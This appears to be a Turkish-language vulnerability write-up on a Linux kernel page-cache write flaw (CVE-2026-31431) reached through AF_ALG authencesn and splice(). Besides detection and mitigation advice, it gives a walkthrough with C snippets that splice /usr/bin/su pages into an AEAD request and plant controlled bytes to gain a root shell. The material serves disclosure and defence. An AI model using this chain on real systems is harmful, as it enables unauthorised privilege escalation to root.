Skip to content

AF_ALG page-cache write Copy Fail (CVE-2026-31431)

Kernel'in authencesn AEAD path'indeki bir logic flaw, unprivileged bir kullanıcının AF_ALG + splice() üzerinden, okunabilir herhangi bir dosyanın page cache'ine deterministik 4-byte'lık bir write bırakmasına izin verir — bir setuid binary'sinin cache'lenmiş page'lerini bozarak root elde etmek için.

Mechanism

Bir AEAD scratch write neden page cache'e düşer

Linux, crypto algoritmalarını userspace'e AF_ALG soketleri aracılığıyla açar (AEAD cipher'lar için algif_aead). Bir AEAD isteğinin, sözleşmesel boyutu assoclen + cryptlen + taglen olan bir output bölgesi vardır — kernel'in yalnızca o destination scatter-gather list'in (req->dst) içine write yapması beklenir.

İki olgu bir araya gelerek bug'ı oluşturur:

  1. 2017'deki bir optimizasyon (commit 72548b093ee3), req->src = req->dst atayıp tag page'lerini sg_chain() ile scatterlist'e zincirleyerek algif_aead'i in place çalışır hale getirdi.
  2. IPsec Extended Sequence Numbers'ı destekleyen authencesn(...) template'i, ESN field'ını yeniden düzenlemek için scratch alan olarak assoclen + cryptlen offset'inde deterministik 4-byte'lık bir write yapar. Bu 4 byte'ın kendi output buffer'ının slack'i içinde kaldığını varsayar.

İhlal edilen invariant şudur: "AEAD output'u asla caller'ın destination buffer'ının ötesine uzanmaz." splice() ile bir dosyanın page-cache page'leri isteğe beslendiğinde, o page'ler zincirlenmiş destination scatterlist'in parçası olur. authencesn scratch write'ı bu durumda saldırganın yalnızca read erişimi olduğu bir dosyanın page-cache page'i içinde kontrollü bir offset'e düşer — dosya izinlerini tamamen bypass ederek. Bırakılan 4 byte attacker-controlled'dır (isteğin AAD bölgesinden gelirler).

Page cache, executable'ların bellek içi imajını tuttuğu için, bir setuid-root binary'sinin (örn. /usr/bin/su) cache'lenmiş page'lerini bozmak, bir sonraki çalıştırılışında root privilege ile koşan kodu değiştirir — diske hiç write yapmadan. Dirty Pipe'tan veya çoğu UAF'tan farklı olarak bu, race içermeyen düz bir logic flaw'dır, dolayısıyla distribution'lar arasında güvenilir biçimde tetiklenir. Kavramsal olarak Dirty Pipe'a komşudur: ikisi de read-only bir dosyanın page cache'ini yazılabilir bir hedefe çevirir, yalnızca write'ı gerçekleştiren primitive'de ayrışırlar.

Walkthrough

Public PoC (~732 byte'lık bir Python script olarak raporlanmış) üç primitive'i zincirler. Aşağıdaki yapı kavramsaldır; sahip olduğunuz sistemler üzerinde yetkili araştırma içindir.

1. Bind an AF_ALG AEAD socket to authencesn

int tfm = socket(AF_ALG, SOCK_SEQPACKET, 0);
struct sockaddr_alg sa = {
    .salg_family = AF_ALG,
    .salg_type   = "aead",
    .salg_name   = "authencesn(hmac(sha256),cbc(aes))",
};
bind(tfm, (struct sockaddr *)&sa, sizeof(sa));

// set a key, then accept an operation socket
setsockopt(tfm, SOL_ALG, ALG_SET_KEY, key, keylen);
int op = accept(tfm, NULL, NULL);

2. Splice target page-cache pages into the destination

Victim setuid binary'sini read-only açın ve onun page-cache page'lerini splice() ile AEAD operasyonunun pipeline'ına sokun, böylece in-place src/dst scatterlist'in parçası olurlar:

int f = open("/usr/bin/su", O_RDONLY);
int p[2]; pipe(p);
// load the page-cache page(s) at the target file offset into the pipe...
splice(f, &target_off, p[1], NULL, PAGE_SIZE, 0);
// ...then splice the pipe into the AF_ALG op socket as request data
splice(p[0], NULL, op, NULL, PAGE_SIZE, SPLICE_F_MORE);

3. Trigger the scratch write with controlled bytes

AEAD operasyonunu çalıştırın. authencesn scratch write'ının assoclen + cryptlen offset'inde bıraktığı 4 byte AAD'den alınır — analizdeki ifadeyle, "AAD byte 4-7, authencesn scratch write'ının hedef page'e bırakacağı 4-byte'lık değeri sağlar":

// sendmsg() carries control data: ALG_SET_OP (encrypt), ALG_SET_AEAD_ASSOCLEN
// with AAD whose bytes 4..7 are the 4 bytes to plant into the page-cache page.
sendmsg(op, &msg /* with cmsg ALG_SET_OP + ALG_SET_AEAD_ASSOCLEN + AAD */, 0);
recvmsg(op, &out_msg, 0);   // forces the out-of-bounds 4-byte write

4. Result

Seçilen 4 byte artık /usr/bin/su'nun cache'lenmiş page'inde duruyor. Bunları bir privilege-dropping kontrolünü etkisiz hale getirecek (ya da zaten map'lenmiş attacker koduna yönlendirecek) şekilde hazırlamak, bir sonraki çağrının root ile koşması anlamına gelir:

$ su            # runs from the now-corrupted cached page
# id
uid=0(root) gid=0(root) groups=0(root)
Etkilenen / düzeltilen sürümler (vendor advisory'lerinden)
  • Giriş: in-place optimizasyon commit'i 72548b093ee3 (2017).
  • Raporlanan vulnerable aralıklar: Linux 4.14'ten 7.0-rc'ye kadar; 6.18.22'den önceki 6.18.x; 6.19.12'den önceki 6.19.x.
  • Düzeltildi: fafe0fa2995a ile biten commit serisi (Nisan 2026 başı); yamalı kernel'ler 7.0, 6.19.12, 6.18.22'yi içerir. 2026-04-29'da açıklandı, CVSS 7.8 (local, low-priv, UI yok).
  • Etkilenen distribution'lar arasında Ubuntu 24.04, Amazon Linux 2023, RHEL 10.1, SUSE 16 (ve modülü gönderen diğerlerinin çoğu) bulunur.

Detection

  • Bilinen disk-encryption araçları (cryptsetup, systemd-cryptsetup, kcapi-*) dışındaki process'lerden gelen AF_ALG SOCK_SEQPACKET socket oluşturma anomaliktir; vendor Falco/runtime kuralları tam olarak bunu yakalar.
  • Setuid binary page cache'inin beklenmedik şekilde değiştirilmesini ve AF_ALG + splice() aktivitesini takip eden privilege geçişlerini gözleyin.

Mitigation

  • Düzeltilmiş bir kernel'e (7.0, 6.19.12, 6.18.22 veya distro backport'ları) yama yapın.
  • Geçici çözüm: algif_aead modülünü modprobe ile blacklist'e alın ya da AF_ALG socket oluşturmayı seccomp ile bloklayın; CONFIG_CRYPTO_USER_API_AEAD'i devre dışı bırakmak, ona ihtiyaç duymayan build'ler için interface'i kaldırır.

References